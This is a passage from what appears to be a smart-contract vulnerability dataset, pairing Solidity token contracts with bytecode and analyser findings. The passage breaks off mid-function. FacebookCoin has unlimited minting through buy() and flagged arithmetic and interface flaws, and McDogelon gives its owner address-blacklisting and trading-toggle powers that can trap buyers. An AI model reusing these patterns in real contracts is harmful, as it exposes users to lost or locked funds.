3480156102d557600080fd5b506101f76004356106c5565b3480156102ed57600080fd5b50610220600160a060020a03600435811690602435166106ee565b34801561031457600080fd5b50610220600160a060020a036004351661070b565b34801561033557600080fd5b506101f7600160a060020a0360043516602435610726565b34801561035957600080fd5b506101f7600160a060020a0360043516610751565b34801561037a57600080fd5b50610147610766565b34801561038f57600080fd5b506103986107c4565b60408051600160a060020a039092168252519081900360200190f35b3480156103c057600080fd5b5061015e6107d3565b3480156103d557600080fd5b506101f761082e565b3480156103ea57600080fd5b506101f7600160a060020a036004351660243561083e565b34801561040e57600080fd5b50610398610885565b34801561042357600080fd5b50610220600160a060020a0360043581169060243516610899565b34801561044a57600080fd5b50610147600160a060020a03600435166108c4565b600354600160a060020a0316331461047657600080fd5b60065460009060a860020a900460ff161561049057600080fd5b50600160a060020a03919091166000908152600760205260409020805460ff1916911515919091179055565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b505050505081565b600081158061057a5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561058557600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b600160a060020a038316600090815260076020526040812054849060ff1680610624575060065460a860020a900460ff165b151561062f57600080fd5b61063a858585610916565b95945050505050565b60016020526000908152604090205481565b600354600160a060020a0316331461066c57600080fd5b60065460009060a860020a900460ff161561068657600080fd5b5060068054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60065460ff1681565b600354600090600160a060020a031633146106df57600080fd5b6106e882610938565b92915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a0316331461074057600080fd5b61074a83836109d9565b9392505050565b60076020526000908152604090205460ff1681565b6006546101009004600160a060020a0316331461078257600080fd5b60065460009060a860020a900460ff161561079c57600080fd5b506006805475ff000000000000000000000000000000000000000000191660a860020a179055565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105425780601f1061051757610100808354040283529160200191610542565b60065460a860020a900460ff1681565b3360008181526007602052604081205490919060ff1680610868575060065460a860020a900460ff165b151561087357600080fd5b61087d8484610b1d565b949350505050565b6006546101009004600160a060020a031681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146108db57600080fd5b600160a060020a03811615610913576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000600160a060020a038316151561092d57600080fd5b61087d848484610b3e565b3360009081526001602052604081205482111561095457600080fd5b33600090815260016020526040902054610974908363ffffffff610c4d16565b3360009081526001602052604081209190915554610998908363ffffffff610c4d16565b60005560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b600160a060020a0382166000908152600160205260408120548211156109fe57600080fd5b600160a060020a0383166000908152600260209081526040808320338452909152902054821115610a2e57600080fd5b600160a060020a038316600090815260016020526040902054610a57908363ffffffff610c4d16565b600160a060020a03841660009081526001602052604081209190915554610a84908363ffffffff610c4d16565b6000908155600160a060020a0384168152600260209081526040808320338452909152902054610aba908363ffffffff610c4d16565b600160a060020a0384166000818152600260209081526040808320338452825291829020939093558051858152905191927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca592918290030190a250600192915050565b6000600160a060020a0383161515610b3457600080fd5b61074a8383610c5f565b600160a060020a03808416600090815260026020908152604080832033845282528083205493861683526001909152812054909190610b83908463ffffffff610d0f16565b600160a060020a038086166000908152600160205260408082209390935590871681522054610bb8908463ffffffff610c4d16565b600160a060020a038616600090815260016020526040902055610be1818463ffffffff610c4d16565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b600082821115610c5957fe5b50900390565b33600090815260016020526040812054610c7f908363ffffffff610c4d16565b3360009081526001602052604080822092909255600160a060020a03851681522054610cb1908363ffffffff610d0f16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008282018381101561074a57fe00a165627a7a72305820b81ec9a865a0a7d72dc13831917b5068b118aa285aae7b3d27637f5d7526e31d0029
|
{"success": true, "error": null, "results": {}}
| 6,506 |
0x3aa11fb28dcd0bd5588d04b717c94cfbf25fa20d
|
pragma solidity ^0.4.23;
// Rep Token
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract FacebookCoin {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
address owner;
uint256 initialSupply;
string tokenName;
string tokenSymbol;
uint256 tokenPrice = 0.000000000000000001 ether;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping(address => uint256) internal ETHBalance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function FacebookCoin() public {
initialSupply = 5000000;
tokenName = "FacebookCoin";
tokenSymbol = "XFBC";
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
owner = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function buy()
public
payable
returns(uint256)
{
purchaseTokens(msg.value);
}
function purchaseTokens(uint256 _incomingEthereum)
internal
returns(uint256)
{
uint256 newTokens = ethereumToTokens_(_incomingEthereum);
balanceOf[msg.sender] += newTokens;
ETHBalance[owner] += _incomingEthereum;
totalSupply += newTokens;
return newTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
//uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
// uint256 tokenPriceETH = tokenPrice * 1e18;
uint256 _tokensReceived = SafeMath.div(_ethereum, tokenPrice) *100;
// _tokensReceived = SafeMath.mul(_tokensReceived, 1e18);
return _tokensReceived;
}
function withdraw()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _sendAmount =ETHBalance[_customerAddress];
ETHBalance[_customerAddress] = 0;
_customerAddress.transfer(_sendAmount);
// fire event
//onWithdraw(_customerAddress, _dividends);
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
return tokenPrice;
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
return tokenPrice;
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
// function burnFrom(address _from, uint256 _value) public returns (bool success) {
// require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
// require(_value <= allowance[_from][msg.sender]); // Check allowance
// balanceOf[_from] -= _value; // Subtract from the targeted balance
// allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
// totalSupply -= _value; // Update totalSupply
// emit Burn(_from, _value);
// return true;
// }
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633ccfd60b146102b657806342966c68146102cd5780634b7503341461031257806370a082311461033d5780638620410b1461039457806395d89b41146103bf578063a6f2ae3a1461044f578063a9059cbb1461046d578063cae9ca51146104ba578063dd62ed3e14610565575b600080fd5b3480156100ec57600080fd5b506100f56105dc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067a565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea610707565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070d565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a61083a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb61084d565b005b3480156102d957600080fd5b506102f860048036038101908080359060200190929190505050610925565b604051808215151515815260200191505060405180910390f35b34801561031e57600080fd5b50610327610a29565b6040518082815260200191505060405180910390f35b34801561034957600080fd5b5061037e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a33565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610a4b565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610a55565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610457610af3565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b02565b005b3480156104c657600080fd5b5061054b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610b11565b604051808215151515815260200191505060405180910390f35b34801561057157600080fd5b506105c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c94565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106725780601f1061064757610100808354040283529160200191610672565b820191906000526020600020905b81548152906001019060200180831161065557829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079a57600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555061082f848484610cb9565b600190509392505050565b600260009054906101000a900460ff1681565b600080339150600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610920573d6000803e3d6000fd5b505050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097557600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000600854905090565b60096020528060005260406000206000915090505481565b6000600854905090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b820191906000526020600020905b815481529060010190602001808311610ace57829003601f168201915b505050505081565b6000610afe34610fd0565b5090565b610b0d338383610cb9565b5050565b600080849050610b21858561067a565b15610c8b578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c1b578082015181840152602081019050610c00565b50505050905090810190601f168015610c485780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610c6a57600080fd5b505af1158015610c7e573d6000803e3d6000fd5b5050505060019150610c8c565b5b509392505050565b600a602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610ce057600080fd5b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d2e57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610dbd57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401141515610fca57fe5b50505050565b600080610fdc836110b3565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060036000828254019250508190555080915050919050565b60008060646110c4846008546110d0565b02905080915050919050565b60008082848115156110de57fe5b04905080915050929150505600a165627a7a7230582049270fc336d88de11d38f9997fef77699f685be1f88d450e71105471577e3f450029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,507 |
0x0ed75f951e5693f7d24551c3fcb5acbe20b5908d
|
/**
*Submitted for verification at Etherscan.io on 2022-01-25
*/
// Mc Dogelon
// Telegram: https://t.me/McDogelon
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract McDogelon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "McDogelon";
string private constant _symbol = "McDoge";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _distroFeeOnSell = 2;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xEd0d72daA2DB7332e2D3776F0B6Aa96656b3DEfB);
address payable private _devAddress = payable(0xEd0d72daA2DB7332e2D3776F0B6Aa96656b3DEfB);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 690000000 * 10**9;
uint256 public _maxWalletSize = 2000000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(8));
_devAddress.transfer(amount.div(9).mul(1));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
